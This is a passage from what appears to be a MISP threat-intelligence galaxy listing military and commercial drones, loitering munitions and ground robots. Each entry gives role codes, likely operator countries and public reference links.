https://www.globaltimes.cn/page/202501/1327470.shtml

CH-7

ISR, LM

The tag is: *misp-galaxy:uavs="CH-7"*

View relationships graph

CH-7 has relationships with:

- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"

Table 25105. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/6cd1e84db20d5c72da2cfc9d1055ceb5
https://customer.janes.com/display/BSP_81098-JDW
https://www.twz.com/air/chinas-stealth-ch-7-long-endurance-drone-emerges

Cheel

EW, VTOL

The tag is: *misp-galaxy:uavs="Cheel"*

View relationships graph

Cheel has relationships with:

- similar: misp-galaxy:country="india" with estimative-language:likelihood-probability="likely"

Table 25106. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/547d28cd79ac4abecd697466cde923fa
https://www.dynauton.co/product/cheel

Kaava

UAS

The tag is: *misp-galaxy:uavs="Kaava"*

View relationships graph

Kaava has relationships with:

- similar: misp-galaxy:country="india" with estimative-language:likelihood-probability="likely"

Table 25107. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/62a99ce6dffe4975f9882bdcc2a77f9a
https://www.dynauton.co/product/kaava

Patang

UAS

The tag is: *misp-galaxy:uavs="Patang"*

View relationships graph

Patang has relationships with:

- similar: misp-galaxy:country="india" with estimative-language:likelihood-probability="likely"

Table 25108. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/769c341777aa15a882c5b5c15ee24178
https://www.dynauton.co/product/patang

HZH Y100

UAS

The tag is: *misp-galaxy:uavs="HZH Y100"*

View relationships graph

HZH Y100 has relationships with:

- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"

Table 25109. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/6c76df2ce3f84010e8792c5c5da4cfa2
https://www.hongfeidrone.com/100-kg-payload-large-weight-industrial-remote-control-drone-for-heavy-lifting-product/

Alpha 900 Spanish

ISR

The tag is: *misp-galaxy:uavs="Alpha 900 Spanish"*

View relationships graph

Alpha 900 Spanish has relationships with:

- similar: misp-galaxy:country="spain" with estimative-language:likelihood-probability="likely"

Table 25110. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/2fb15fd6082a66206599baa35cae8247

https://alphaunmannedsystems.com/product/uav-helicopter-alpha-900/#form
https://www.armyrecognition.com/news/aerospace-news/2025/feindef-2025-spanishtactical-a900-helicopter-drone-draws-interest-from-us-department-of-defense

P.s. Killer Kamikaze (psk)

LM

The tag is: *misp-galaxy:uavs="P.s. Killer Kamikaze (psk)"*

View relationships graph

P.s. Killer Kamikaze (psk) has relationships with:

- similar: misp-galaxy:country="united states of america" with estimative-language:likelihood-probability="likely"

Table 25111. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/b59d8e4b5e5a4a860dcd094ff79e7e8d
https://defence-blog.com/us-startup-develops-football-sized-kamikaze-drone/
https://militarnyi.com/en/news/us-startup-develops-football-sized-kamikaze-drone/
https://x.com/NewsIADN/status/1888592080374743396/photo/3

JAS 313 60-SN

UAS

The tag is: *misp-galaxy:uavs="JAS 313 60-SN"*

View relationships graph

JAS 313 60-SN has relationships with:

- similar: misp-galaxy:country="iran" with estimative-language:likelihood-probability="likely"

Table 25112. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/9a96b886e439a82b1b894df042f906dc
https://www.tasnimnews.com/en/news/2025/03/03/3268599/unmanned-jets-aboard-irgc-navy-s-drone-carrier-fit-for-combat
https://armyrecognition.com/news/army-news/2025/iran-strengthens-navy-with-jas-313-stealth-drone-for-reconnaissance-and-bombing-missions
https://customer.janes.com/display/JUAVB179-JUAV

D18 (twin-tailed Scorpion D)

UAS

The tag is: *misp-galaxy:uavs="D18 (twin-tailed Scorpion D)"*

View relationships graph

D18 (twin-tailed Scorpion D) has relationships with:

- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"

Table 25113. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/e8718fb6d939d9ad722f8c0fb808f64d
https://armyrecognition.com/news/aerospace-news/2025/china-starts-production-of-new-d18-cargo-drone-for-low-altitude-strategic-logistics-operations
https://x.com/nuwangzi/status/1934502653138018603/photo/2

Chaklun-b 2.0

ISR, MALE

The tag is: *misp-galaxy:uavs="Chaklun-b 2.0"*

View relationships graph

Chaklun-b 2.0 has relationships with:

- similar: misp-galaxy:country="ukraine" with estimative-language:likelihood-probability="likely"

Table 25114. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/506cab7365cfe3108ad9ec0307ae5f2e
https://www.edrmagazine.eu/idex-2025-rc-direction-ukrainian-uavs-easy-toproduce#:}:text=The%20Chaklun%2DB%202.0%20is
https://armyrecognition.com/news/aerospacenews/2025/ukraines-chaklun-b-2-0-drone-revealed-at-idef-2025-as-a-strategic-solution-for-long-range-missions

TP1000

UAS

The tag is: *misp-galaxy:uavs="TP1000"*

View relationships graph

TP1000 has relationships with:

- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"

Table 25115. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/dd5f1f4a184bd798a0b25a0d2d1cae61
https://www.globaltimes.cn/page/202503/1330262.shtml
https://armyrecognition.com/news/aerospace-news/2025/china-revolutionizes-autonomous-transport-withtp1000-cargo-drone-featuring-a-one-ton-payload
https://www.scmp.com/economy/china-economy/article/3302689/china-tests-huge-transport-drone-capable-airliftingover-1-ton-goods
https://aviationweek.com/aerospace/emerging-technologies/chinas-tp1000-uncrewed-cargo-aircraft-makes-first-flight

Angrycat

Angrycat is a short-range interceptor/FPV UAS by Venator Technologies, used by Ukraine to hunt and neutralize hostile UAVs, offering ~15 minutes endurance and a 1 kg payload for hard-kill effects. It provides a low-cost, expendable counter-UAS capability to rapidly engage Russian drones on the front line.

The tag is: *misp-galaxy:uavs="Angrycat"*

View relationships graph

Angrycat has relationships with:

- similar: misp-galaxy:country="ukraine" with estimative-language:likelihood-probability="likely"

Table 25116. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/0bad9a206f85533fe053161e0f37db4d
https://venator.technology/en/angrycat/
https://armyrecognition.com/news/army-news/2025/landeuro-2025-venator-technologies-new-angrycat-interceptor-droneto-enhance-ukraines-defense-against-russian-uavs
https://x.com/ArmyRecognition/status/1945775363696587118

GOBI

UAS

The tag is: *misp-galaxy:uavs="GOBI"*

View relationships graph

GOBI has relationships with:

- similar: misp-galaxy:country="france" with estimative-language:likelihood-probability="likely"

Table 25117. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/55c83a31ddb2a3947335e5c2ca8bcee1
https://armyrecognition.com/news/aerospace-news/2025/frances-harmattan-ai-launches-gobi-drone-to-revolutionize-counter-drone-warfare-with-ultra-fastinterception
https://www.harmattan.ai/systems/gobi/
https://militarnyi.com/en/news/french-startup-launches-gobi-interceptor-drone-for-counter-uav-operations/

HT-100 Swiss

UAS

The tag is: *misp-galaxy:uavs="HT-100 Swiss"*

View relationships graph

HT-100 Swiss has relationships with:

- similar: misp-galaxy:country="switzerland" with estimative-language:likelihood-probability="likely"

Table 25118. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/a007aae9a0ddc9f838fb80068094f980
https://www.google.com/imgres?q=HT-100%20UAV&imgurl=https%3A%2F%2Fwww.airforce-technology.com%2Fwpcontent%2Fuploads%2Fsites%2F6%2F2024%2F01%2FFeatured-Image-HT-100-Unmanned-Helicopter.jpg&imgrefurl=https%3A%2F%2Fwww.airforcetechnology.com%2Fprojects%2Fht-100-unmanned-helicopter-uae%2F&docid=udWac97NHUbhLM&tbnid=zl9adhV3r1YvCM&vet=12ahUKEwiSjJ-ndKOAxU6g4kEHd2qLmoQM3oECCUQAA..i&w=1440&h=810&hcb=2&ved=2ahUKEwiSjJ-n-dKOAxU6g4kEHd2qLmoQM3oECCUQAA
https://armyrecognition.com/news/army-news/2025/idef-2025-ht-100-rotary-wing-drone-sets-new-standard-in-tactical-endurance-and-versatility

CATS Warrior India

EW, ISR, LM, UCAV

The tag is: *misp-galaxy:uavs="CATS Warrior India"*

View relationships graph

CATS Warrior India has relationships with:

- similar: misp-galaxy:country="india" with estimative-language:likelihood-probability="likely"

Table 25119. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/599e6d76ee6914d1782613e3d5e66496
https://www.aerotime.aero/articles/loyal-wingman-military-drones-development
https://armyrecognition.com/news/aerospace-news/2025/indias-hal-cats-unmannedcombat-aircraft-hits-key-milestone-with-successful-engine-ground-run
https://www.edrmagazine.eu/aero-india-2025-first-public-appearance-for-hindustan-aeronauticscats-warrior-autonomous-ucav
https://www.newindianexpress.com/nation/2021/Feb/04/hals-unique-deep-penetration-attack-system-for-fighter-pilots-to-be-developed-by2024-25-2259553.html
https://x.com/connect_rishav/status/1888528765363560634/photo/1

Chernika 1 (Черника-1)

LM

The tag is: *misp-galaxy:uavs="Chernika 1 (Черника-1)"*

View relationships graph

Chernika 1 (Черника-1) has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"

Table 25120. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/f0b739efec4fac764ec6a7794e1dd6c4
https://armyrecognition.com/news/aerospace-news/2025/russias-new-low-cost-kamikaze-drone-reportedly-used-for-the-first-time-in-ukraine-strike
https://en.defence-ua.com/weapon_and_tech/self_guided_chernika_drone_new_dangerous_russian_weapon_used_for_the_first_time-14995.html
https://united24media.com/latest-news/russia-hit-kharkiv-with-a-new-drone-called-chernika-heres-what-we-know-about-it-9500

Flycart 100 (FC100)

UAS

The tag is: *misp-galaxy:uavs="Flycart 100 (FC100)"*

View relationships graph

Flycart 100 (FC100) has relationships with:

- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"

Table 25121. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/04a1ea42d1b4d140512c075a82450f66
https://armyrecognition.com/news/army-news/2025/china-presents-new-dji-fc100-heavy-transport-drone-for-high-altitude-resupply-missions
https://dronedj.com/2025/06/30/new-dji-drone-flycart-100/
https://dronexl.co/2025/06/30/dji-flycart-100unveiled-heavy-lift-drone/

Grille

UAS

The tag is: *misp-galaxy:uavs="Grille"*

View relationships graph

Grille has relationships with:

- similar: misp-galaxy:country="germany" with estimative-language:likelihood-probability="likely"

Table 25122. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/517dd897ac7424f73e3c9dd4bf7a27d6
https://armyrecognition.com/news/aerospace-news/2025/germanys-new-avilus-drones-set-to-bridge-capability-gaps-and-reinforce-nato-evacuation-andintelligence
https://www.avilus.com/solution/grille

Wespe Piston

Avilus's Wespe Piston is a German piston-powered unmanned helicopter optimized for cargo and utility lift, carrying up to 200 kg with about 2.5 hours endurance and a 120 km/h top speed. Operated in Germany, it supports resupply and other mission payloads.

The tag is: *misp-galaxy:uavs="Wespe Piston"*

View relationships graph

Wespe Piston has relationships with:

- similar: misp-galaxy:country="germany" with estimative-language:likelihood-probability="likely"

Table 25123. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/cb966f40c2b8b2c67914be6607da260f
https://www.avilus.com/solution/wespe

Bussard

UAS

The tag is: *misp-galaxy:uavs="Bussard"*

View relationships graph

Bussard has relationships with:

- similar: misp-galaxy:country="germany" with estimative-language:likelihood-probability="likely"

Table 25124. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/1d5fef7ca79ba95e321d1819353d7972
https://www.avilus.com/solution/bussard

Ra’ad 3

UAS

The tag is: *misp-galaxy:uavs="Ra’ad 3"*

View relationships graph

Ra’ad 3 has relationships with:

- similar: misp-galaxy:country="iran" with estimative-language:likelihood-probability="likely"

Table 25125. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/b18b22cc25d56c2709af5df83ec643f7

https://x.com/almayadeen_es/status/1892710825540124751

SAEQEH-1

LM

The tag is: *misp-galaxy:uavs="SAEQEH-1"*

View relationships graph

SAEQEH-1 has relationships with:

- similar: misp-galaxy:country="iran" with estimative-language:likelihood-probability="likely"

Table 25126. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/59b70074767e5a377c9d75bd66c3e9e8
https://english.iswnews.com/37528/military-knowledge-raad-suicide-drones/

Bina

LM, VTOL

The tag is: *misp-galaxy:uavs="Bina"*

View relationships graph

Bina has relationships with:

- similar: misp-galaxy:country="iran" with estimative-language:likelihood-probability="likely"

Table 25127. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/0f9e19b0689fe63bc4b70600201bb051
https://fararu.com/fa/news/834924/%D8%AA%D8%B5%D8%A7%D9%88%DB%8C%D8%B1%D8%B1%D9%88%D9%86%D9%85%D8%A7%DB%8C%DB%8C-%D9%85%D9%88%D8%B4%DA%A9-%D9%87%D8%A7%D9%BE%D9%87%D9%BE%D8%A7%D8%AF-%D9%87%D8%A7%DB%8C-%D8%AC%D8%AF%DB%8C%D8%AF%D9%86%DB%8C%D8%B1%D9%88%DB%8C-%D8%B2%D9%85%DB%8C%D9%86%DB%8C-%D8%B3%D9%BE%D8%A7%D9%87
https://www.tasnimnews.com/tr/news/2025/02/18/3260475/iran-yeni-kamikaze-ve-ke%C5%9Fif-iha-lar%C4%B1n%C4%B1-tan%C4%B1tt%C4%B1

Gatral

UAS

The tag is: *misp-galaxy:uavs="Gatral"*

View relationships graph

Gatral has relationships with:

- similar: misp-galaxy:country="iran" with estimative-language:likelihood-probability="likely"

Table 25128. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/615c112abcc809c90698cf0f82878861
https://fararu.com/fa/news/834924/%D8%AA%D8%B5%D8%A7%D9%88%DB%8C%D8%B1%D8%B1%D9%88%D9%86%D9%85%D8%A7%DB%8C%DB%8C-%D9%85%D9%88%D8%B4%DA%A9-%D9%87%D8%A7%D9%BE%D9%87%D9%BE%D8%A7%D8%AF-%D9%87%D8%A7%DB%8C-%D8%AC%D8%AF%DB%8C%D8%AF%D9%86%DB%8C%D8%B1%D9%88%DB%8C-%D8%B2%D9%85%DB%8C%D9%86%DB%8C-%D8%B3%D9%BE%D8%A7%D9%87
https://www.isna.ir/news/1403120100331/%d8%b1%d9%88%d9%86%d9%85%d8%a7%db%8c%db%8c-%d8%a7%d8%b2%d8%ac%d8%af%db%8c%d8%af%d8%aa%d8%b1%db%8c%d9%86-%d8%af%d8%b3%d8%aa%d8%a7%d9%88%d8%b1%d8%af%d9%87%d8%a7%db%8c%d9%86%db%8c%d8%b1%d9%88%db%8c-%d8%b2%d9%85%db%8c%d9%86%db%8c-%d8%b3%d9%be%d8%a7%d9%87-%d8%af%d8%b1%d8%b1%d8%b2%d9%85%d8%a7%db%8c%d8%b4-%d9%be%db%8c%d8%a7%d9%85%d8%a8%d8%b1

Golaleh

UAS

The tag is: *misp-galaxy:uavs="Golaleh"*

View relationships graph

Golaleh has relationships with:

- similar: misp-galaxy:country="iran" with estimative-language:likelihood-probability="likely"

Table 25129. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/cd444ba461999e5c14d504d29895902e
https://www.tasnimnews.com/fa/news/1403/12/01/3260912/%D8%AF%D8%B3%D8%AA%D8%A7%D9%88%D8%B1%D8%AF%D9%87%D8%A7%DB%8C%D8%AC%D8%AF%DB%8C%D8%AF-%D9%86%D8%B2%D8%B3%D8%A7-%D8%A7%D8%B2-%D9%85%D9%88%D8%B4%DA%A9%D8%A8%D8%A7%D9%84%D8%B3%D8%AA%DB%8C%DA%A9-%D8%AA%D8%A7-%D8%B1%D8%A7%DA%A9%D8%AA-%D9%85%DB%8C%D9%86%D8%B1%DB%8C%D8%B2
https://x.com/imp_navigator/status/1892439897459261907/photo/1

Hadid 110 (dalahu)

LM

The tag is: *misp-galaxy:uavs="Hadid 110 (dalahu)"*

View relationships graph

Hadid 110 (dalahu) has relationships with:

- similar: misp-galaxy:country="iran" with estimative-language:likelihood-probability="likely"

Table 25130. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/1b40a592bf2384072d9ed836cd0a6786
https://pahpad-news.com/drones-in-modern-wars/
https://english.iswnews.com/37409/iran-unveils-new-jet-suicide-drone-hadid-110-video/

Arbaeen

VTOL

The tag is: *misp-galaxy:uavs="Arbaeen"*

View relationships graph

Arbaeen has relationships with:

- similar: misp-galaxy:country="iran" with estimative-language:likelihood-probability="likely"

Table 25131. Table References

Links
https://odin.tradoc.army.mil/WEG/Asset/a2262fcb69ad5ce604734997e17d1033
https://www.mashreghnews.ir/news/1701155/%D9%88%D8%AD%D8%B4%D8%AA-%D8%AF%D8%B1%D8%A7%D8%B1%D8%AF%D9%88%DA%AF%D8%A7%D9%87-%D8%AF%D8%B4%D9%85%D9%86-%D8%A7%D8%A8%D8%A7%D8%A8%DB%8C%D9%84%D9%87%D8%A7%DB%8C-%D8%A7%DB%8C%D8%B1%D8%A7%D9%86%DB%8C-%D8%AF%D8%B1-%DA%A9%D9%85%DB%8C%D9%86%D8%B9%DA%A9%D8%B3

FP-1

The tag is: *misp-galaxy:uavs="FP-1"*

View relationships graph

FP-1 has relationships with:

- similar: misp-galaxy:country="ukraine" with estimative-language:likelihood-probability="likely"

Table 25132. Table References

Links
https://www.lemonde.fr/en/international/article/2025/10/29/fire-point-the-drone-maker-building-ukraine-s-answer-to-russia-s-shahed_6746891_4.html
https://en.wikipedia.org/wiki/FP-1_(unmanned_aerial_vehicle)

SQ20

UAS

The tag is: *misp-galaxy:uavs="SQ20"*

View relationships graph

SQ20 has relationships with:

- similar: misp-galaxy:country="france" with estimative-language:likelihood-probability="likely"

Table 25133. Table References

Links
https://www.defense.gouv.fr/terre/nos-materiels/nos-equipements-terre/nos-drones-nos-robots-terrestres/sq20-drone-voilure-fixe

Patroller

MALE ISR

The tag is: *misp-galaxy:uavs="Patroller"*

View relationships graph

Patroller has relationships with:

- similar: misp-galaxy:country="france" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="greece" with estimative-language:likelihood-probability="likely"

Table 25134. Table References

Links
https://en.wikipedia.org/wiki/Safran_Patroller
https://www.safran-group.com/products-services/patroller-tactical-drone
https://www.defense.gouv.fr/terre/nos-materiels/nos-equipements-terre/nos-drones-nos-robots-terrestres/patroller

Black Hornet 3 (BH3)

ISR, UAS, VTOL

The tag is: *misp-galaxy:uavs="Black Hornet 3 (BH3)"*

View relationships graph

Black Hornet 3 (BH3) has relationships with:

- similar: misp-galaxy:country="france" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="norway" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="ukraine" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="united states of america" with estimative-language:likelihood-probability="likely"

Table 25135. Table References

Links
https://www.flir.com/products/black-hornet-prs/
https://www.defense.gouv.fr/terre/nos-materiels/nos-equipements-terre/nos-drones-nos-robots-terrestres/black-hornet-3-bh3-drone-operationnel

NX70

ISR UAS

The tag is: *misp-galaxy:uavs="NX70"*

View relationships graph

NX70 has relationships with:

- similar: misp-galaxy:country="france" with estimative-language:likelihood-probability="likely"

Table 25136. Table References

Links
https://www.novadem.com/produits/nx70-drone
https://www.defense.gouv.fr/terre/nos-materiels/nos-equipements-terre/nos-drones-nos-robots-terrestres/nx70

SMDR

ISR UAS

The tag is: *misp-galaxy:uavs="SMDR"*

View relationships graph

SMDR has relationships with:

- similar: misp-galaxy:country="france" with estimative-language:likelihood-probability="likely"

Table 25137. Table References

Links
https://www.defense.gouv.fr/terre/nos-materiels/nos-equipements-terre/nos-drones-nos-robots-terrestres/smdr-systeme-mini-drone-renseignement
https://www.armyrecognition.com/archives/archives-land-defense/land-defense-2024/exclusive-french-artillery-units-adopt-new-drone-based-tactics-inspired-by-russia-ukraine-war

MINIROGEN

UGV

The tag is: *misp-galaxy:uavs="MINIROGEN"*

View relationships graph

MINIROGEN has relationships with:

- similar: misp-galaxy:country="france" with estimative-language:likelihood-probability="likely"

Table 25138. Table References

Links
https://www.defense.gouv.fr/terre/nos-materiels/nos-equipements-terre/nos-drones-nos-robots-terrestres/minirogen-mini-robot-genie

SRGR

UGV

The tag is: *misp-galaxy:uavs="SRGR"*

View relationships graph

SRGR has relationships with:

- similar: misp-galaxy:country="france" with estimative-language:likelihood-probability="likely"

Table 25139. Table References

Links
https://www.defense.gouv.fr/terre/nos-materiels/nos-equipements-terre/nos-drones-nos-robots-terrestres/srgr-systeme-robotise-genie

DT46

UAS

The tag is: *misp-galaxy:uavs="DT46"*

View relationships graph

DT46 has relationships with:

- similar: misp-galaxy:country="france" with estimative-language:likelihood-probability="likely"

Table 25140. Table References

Links
https://www.defense.gouv.fr/terre/nos-materiels/nos-equipements-terre/nos-drones-nos-robots-terrestres/dt46

eBee Vision

ISR UAS

The tag is: *misp-galaxy:uavs="eBee Vision"*

View relationships graph

eBee Vision has relationships with:

- similar: misp-galaxy:country="france" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="switzerland" with estimative-language:likelihood-probability="likely"

Table 25141. Table References

Links
https://www.sensefly.com/drones/ebee-vision/
https://www.defense.gouv.fr/terre/nos-materiels/nos-equipements-terre/nos-drones-nos-robots-terrestres/ebee-vision

Parrot Anafi USA

ISR UAS

The tag is: *misp-galaxy:uavs="Parrot Anafi USA"*

View relationships graph

Parrot Anafi USA has relationships with:

- similar: misp-galaxy:country="france" with estimative-language:likelihood-probability="likely"

Table 25142. Table References

Links
https://www.parrot.com/en/drones/anafi-usa
https://www.defense.gouv.fr/terre/nos-materiels/nos-equipements-terre/nos-drones-nos-robots-terrestres/parrot-anafi-usa

Noctua 200

ISR

The tag is: *misp-galaxy:uavs="Noctua 200"*

View relationships graph

Noctua 200 has relationships with:

- similar: misp-galaxy:country="france" with estimative-language:likelihood-probability="likely"

Table 25143. Table References

Links
https://www.thalesgroup.com/en/solutions-catalogue/defence/mini-uas-isr-missions
https://aeromapper.com/noctua-200/

Noctua 300

ISR

The tag is: *misp-galaxy:uavs="Noctua 300"*

View relationships graph

Noctua 300 has relationships with:

- similar: misp-galaxy:country="france" with estimative-language:likelihood-probability="likely"

Table 25144. Table References

Links
https://www.thalesgroup.com/en/solutions-catalogue/defence/mini-uas-isr-missions
https://aeromapper.com/noctua-300-5/

Grizly 400

ISR

The tag is: *misp-galaxy:uavs="Grizly 400"*

View relationships graph

Grizly 400 has relationships with:

- similar: misp-galaxy:country="france" with estimative-language:likelihood-probability="likely"

Table 25145. Table References

Links
https://www.thalesgroup.com/en/solutions-catalogue/defence/mini-uas-isr-missions
https://aeromapper.com/grizzly/
https://www.youtube.com/watch?v=g7hN0OoYvnM
https://www.popularmechanics.com/military/weapons/a26975906/grizzly-robot-soldiers-textron/
https://sofins2025.eventmaker.io/en/produits/grizzly-400

Spyranger 330

ISR

The tag is: *misp-galaxy:uavs="Spyranger 330"*

View relationships graph

Spyranger 330 has relationships with:

- similar: misp-galaxy:country="france" with estimative-language:likelihood-probability="likely"

Table 25146. Table References

Links
https://www.thalesgroup.com/en/solutions-catalogue/defence/mini-uas-isr-missions

Spyranger 550

The Thales Spyranger 550 is an unarmed, electric fixed-wing mini-UAS used by France for ISR missions, providing tactical reconnaissance and surveillance (IMSI Catcher). With about 5 hours endurance and a 0.5 kg payload, it delivers persistent, low-signature observation to support tactical operations.

The tag is: *misp-galaxy:uavs="Spyranger 550"*

View relationships graph

Spyranger 550 has relationships with:

- similar: misp-galaxy:country="france" with estimative-language:likelihood-probability="likely"

Table 25147. Table References

Links
https://www.thalesgroup.com/en/solutions-catalogue/defence/mini-uas-isr-missions

Toutatis

Thales's Toutatis is a compact electric loitering munition for France that combines short-duration surveillance with precision strike, carrying a 5 kg payload. It flies up to 150 km/h for about 40 minutes, providing a rapid-response attack option at the tactical level.

The tag is: *misp-galaxy:uavs="Toutatis"*

View relationships graph

Toutatis has relationships with:

- similar: misp-galaxy:country="france" with estimative-language:likelihood-probability="likely"

Table 25148. Table References

Links
https://www.thalesgroup.com/en/solutions-catalogue/defence/loitering-munitions
https://www.aerotime.aero/articles/thales-toutatis-loitering-munition
https://meta-defense.fr/en/2023/06/21/thales-light-rodeuse-ammunition-toutatis/

Sahara

ISR

The tag is: *misp-galaxy:uavs="Sahara"*

Table 25149. Table References

Links
https://www.harmattan.ai/systems/sahara

Harpy

LM

The tag is: *misp-galaxy:uavs="Harpy"*

View relationships graph

Harpy has relationships with:

- similar: misp-galaxy:country="israel" with estimative-language:likelihood-probability="likely"

Table 25150. Table References

Links
https://www.iai.co.il/p/harpy

Mini Harpy

LM

The tag is: *misp-galaxy:uavs="Mini Harpy"*

View relationships graph

Mini Harpy has relationships with:

- similar: misp-galaxy:country="israel" with estimative-language:likelihood-probability="likely"

Table 25151. Table References

Links
https://www.iai.co.il/p/mini-harpy

Harop

LM

The tag is: *misp-galaxy:uavs="Harop"*

View relationships graph

Harop has relationships with:

- similar: misp-galaxy:country="azerbaijan" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="india" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="israel" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="morocco" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="netherlands" with estimative-language:likelihood-probability="likely"

Table 25152. Table References

Links
https://www.iai.co.il/p/harop
https://en.wikipedia.org/wiki/IAI_Harop

Mini Harop

The tag is: *misp-galaxy:uavs="Mini Harop"*

View relationships graph

Mini Harop has relationships with:

- similar: misp-galaxy:country="israel" with estimative-language:likelihood-probability="likely"

Table 25153. Table References

Links
https://www.iai.co.il/p/mini-harop

Mavic 3 Pro

ISR, VTOL

The tag is: *misp-galaxy:uavs="Mavic 3 Pro"*

View relationships graph

Mavic 3 Pro has relationships with:

- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="ukraine" with estimative-language:likelihood-probability="likely"

Table 25154. Table References

Links
https://dronexl.co/2025/07/02/ukraine-drone-crisis-china-halts-dji-mavic-sales/
https://www.dji.com/fr/mavic-3-pro?site=brandsite&from=landing_page

YIHA-III

LM

The tag is: *misp-galaxy:uavs="YIHA-III"*

View relationships graph

YIHA-III has relationships with:

- similar: misp-galaxy:country="albania" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="pakistan" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:country="turkey" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="ukraine" with estimative-language:likelihood-probability="likely"

Table 25155. Table References

Links
https://globaldefenseinsight.com/yihai-iii-loitering-munition-overview/

HERO 30

LM

The tag is: *misp-galaxy:uavs="HERO 30"*

View relationships graph

HERO 30 has relationships with:

- similar: misp-galaxy:country="italy" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="argentina" with estimative-language:likelihood-probability="likely"

Table 25156. Table References

Links
https://uvisionuav.com/hero-family/

HERO 120

LM

The tag is: *misp-galaxy:uavs="HERO 120"*

View relationships graph

HERO 120 has relationships with:

- similar: misp-galaxy:country="argentina" with estimative-language:likelihood-probability="likely"

Table 25157. Table References

Links
https://uvisionuav.com/hero-120/

HRESH

LM

The tag is: *misp-galaxy:uavs="HRESH"*

View relationships graph

HRESH has relationships with:

- similar: misp-galaxy:country="armenia" with estimative-language:likelihood-probability="likely"

Table 25158. Table References

Links
https://mil.in.ua/en/news/armenia-presented-its-hresh-loitering-munition/

BEEB 1800

LM

The tag is: *misp-galaxy:uavs="BEEB 1800"*

View relationships graph

BEEB 1800 has relationships with:

- similar: misp-galaxy:country="armenia" with estimative-language:likelihood-probability="likely"

Table 25159. Table References

Links
https://armenpress.am/eng/

AW21

The AW21 is a lightweight unmanned aerial vehicle (UAV) operated by Armenia.

The tag is: *misp-galaxy:uavs="AW21"*

View relationships graph

AW21 has relationships with:

- similar: misp-galaxy:country="armenia" with estimative-language:likelihood-probability="likely"

Table 25160. Table References

Links
https://www.armyrecognition.com/archives/archives-aerospace-defense/aerospace-defense-2023/edex-2023-witnesses-airworker-s-aw21-loitering-munition-presentation

Drone 40

LM

The tag is: *misp-galaxy:uavs="Drone 40"*

View relationships graph

Drone 40 has relationships with:

- similar: misp-galaxy:country="australia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="ukraine" with estimative-language:likelihood-probability="likely"

Table 25161. Table References

Links
https://defendtex.com.au/drone40/

Innovaero OWL

LM

The tag is: *misp-galaxy:uavs="Innovaero OWL"*

View relationships graph

Innovaero OWL has relationships with:

- similar: misp-galaxy:country="australia" with estimative-language:likelihood-probability="likely"

Table 25162. Table References

Links
https://innovaero.com.au/owl/

Orbiter 1K

LM

The tag is: *misp-galaxy:uavs="Orbiter 1K"*

View relationships graph

Orbiter 1K has relationships with:

- similar: misp-galaxy:country="azerbaijan" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:country="israel" with estimative-language:likelihood-probability="likely"

Table 25163. Table References

Links
https://aeronautics-sys.com/orbiter-1k/

SkyStriker

LM

The tag is: *misp-galaxy:uavs="SkyStriker"*

View relationships graph

SkyStriker has relationships with:

- similar: misp-galaxy:country="azerbaijan" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="india" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="israel" with estimative-language:likelihood-probability="likely"

Table 25164. Table References

Links
https://elbitsystems.com/product/skystriker/

STM Kargu

LM

The tag is: *misp-galaxy:uavs="STM Kargu"*

View relationships graph

STM Kargu has relationships with:

- similar: misp-galaxy:country="azerbaijan" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="turkey" with estimative-language:likelihood-probability="likely"

Table 25165. Table References

Links
https://www.stm.com.tr/en/products/kargu-autonomous-tactical-multi-rotor-attack-uav

Qirği

LM

The tag is: *misp-galaxy:uavs="Qirği"*

View relationships graph

Qirği has relationships with:

- similar: misp-galaxy:country="azerbaijan" with estimative-language:likelihood-probability="likely"

Quzgün

LM

